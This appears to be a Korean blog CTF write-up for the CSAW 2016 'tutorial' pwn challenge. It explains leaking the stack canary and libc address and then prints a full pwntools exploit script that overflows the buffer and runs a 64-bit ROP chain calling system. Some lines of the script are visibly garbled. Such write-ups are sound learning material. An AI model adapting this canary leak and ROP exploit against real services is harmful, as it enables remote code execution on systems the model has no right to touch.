ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CSAW 2016 - tutorial
    CTF 2016. 9. 18. 07:43

    LeaveCat - pwn200(tutorial)


    libc-2.19.sotutorial



    it's just 64bit ROP


    [Technic]

     - Memory Leak( Leak Canary )

     - 64bit ROP





    우선, binary와 library 파일이 주어진다. 바이너리분석, 라이브러리는 오프셋계산과 가젯을 구하는데 사용된다.




    전형적인 소켓을 여는 바이너리이다.




    dlsym함수를통해 puts 라이브러리 주소를 출력해준다.


    이 함수를 이용해 puts의 라이브러리주소를 얻어온후, 제공된 라이브러리로 오프셋을 계산해 이미지베이스를 토대로 시스템함수를 구하고, 여러가지 가젯을 구해쓰면된다.


    우선 기본적으로 해당 바이너리는 SSP 보호기법이 걸려있다. 릭 할곳을 찾아야하는데, 다음 함수를 보면 릭이 가능하다.





    v2는 rbp에서 0x140 만큼 떨어져있다. 0x320바이트인데, read함수를통해 오버플로우를 떡하니 제공한다 (아싸)


    그리고 이상한것은 write로 v2를 출력하는데, 324바이트나 출력해준다. = 카나리 그냥 줌




    카나리를 구하면되는데 아주 좋은점은 fork가 되어있기때문에 nc 접속이 끊겨도 카나리는 동일하다.


    릭은 그냥 아무렇게만 해주면 되고, 64bit ROP만 남았다.


    system함수는 제공되지않는다. 하지만 우리는 라이브러리 오프셋을 계산해서 모두 구할수있다.


    64bit의 콜링 컨벤션은 다음과같다.


    [64BIT CALLING CONVENTION]

    - function@plt + rdi + rsi + rdx + rcx



    이제 이것을 참고하여 ROP를 진행하면된다.


    [exp.py]


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    from pwn import *
     
    = remote("pwn.chal.csaw.io",8002)
    #p = remote("10.211.55.17",12349)
    elf = ELF("./tutorial")
    libc = ELF("./libc-2.19.so")
     
    libc_puts,libc_system = libc.symbols['puts'],libc.symbols['system']
    bss = elf.bss()
    read_plt = elf.plt['read']
    write_plt = elf.plt['write']
    catflag = "cat flag.txt >&4"
    canary = 0x9068bb666202a700
     
    def leakcanary():
        print p.recvuntil(">")
        p.sendline("2")
        print p.recvuntil(">")
        payload = "A"*311
     
        p.sendline(payload)
        p.recvuntil("A"*311)
        leak = p.recv(14)
        print leak.encode('hex')
     
     
    def exploit():
        print p.recvuntil(">")
        p.sendline("1")
        print p.recvuntil("Reference:")
     
        puts_got = int(p.recv(14),16+ 1280
        print "[*] system@libc: " + hex(libc_system)
        libc_base = puts_got - libc_puts
        print "[*] libc_base: " + hex(libc_base)
        system_addr = libc_base + libc_system
        print "[*] system: " + hex(system_addr)
        poprdiret = libc_base + 0x22b9a
        poprsiret = libc_base + 0x24885
        poprdxret = libc_base + 0xbcdf0
        print p.recvuntil(">")
        p.sendline("2")
        print p.recvuntil(">")
     
        payload = "\x90"*312
        payload += p64(canary)
        payload += "AAAA"*2 #sfp 8byte 
        
        payload += p64(poprdiret)
        payload += p64(4)
        payload += p64(poprsiret)
        payload += p64(bss)
        payload += p64(poprdxret)
        payload += p64(len(catflag))
        payload += p64(read_plt)
     
        payload += p64(poprdiret)
        payload += p64(bss)
        payload += p64(system_addr)
     
        p.sendline(payload)
        p.sendline(catflag)
     
     
     
    leakcanary()
    exploit()
     
    p.interactive()
    cs

     








    'CTF' 카테고리의 다른 글

    h4ck1t - Capture Angola  (0) 2016.10.03
    CSAW 2016 - Clams Don't Dance  (0) 2016.09.19
    ASIS CTF Finals 2016 - shadow  (0) 2016.09.12
    Layer CTF sanity_check  (0) 2016.09.04
    Layer CTF echo_system  (0) 2016.09.04

    댓글

Designed by Tistory.